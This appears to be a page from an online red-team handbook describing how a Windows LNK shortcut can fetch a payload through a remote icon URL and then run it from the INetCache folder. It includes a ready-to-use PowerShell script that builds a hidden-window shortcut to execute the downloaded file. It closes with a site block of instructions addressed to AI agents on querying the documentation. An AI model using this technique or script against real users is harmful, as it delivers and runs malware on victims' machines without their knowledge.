# Using LNK to Automatically Download Payloads

LNK can handle externally loaded icons. Specifically, it can load .ico files specified in a UNC link or even paths that are specified as urls. In short, if you supply a remote and external icon file, it will fetch and download the icon file for it to be displayed.

When the file is fetched by the LNK file, it will be stored in the path  `%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache`\file.exe

The LNK can then execute the file in this directory.

An example script for generating the file is shown below:

```powershell
$shell = New-Object -ComObject WScript.Shell;
$desktop = [System.Environment]::GetFolderPath('Desktop');
$shortcut = $shell.CreateShortcut("$desktop\file.lnk");
$shortcut.TargetPath = "C:\windows\system32\conhost.exe";
$shortcut.WindowStyle = 7;
$shortcut.Arguments = 'cmd.exe /c cd %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache & dir /s /B file*.exe | cmd.exe /k';
$shortcut.IconLocation = "https://127.0.0.1/file.exe?.ico";
$shortcut.Save();
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk/using-lnk-to-automatically-download-payloads.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
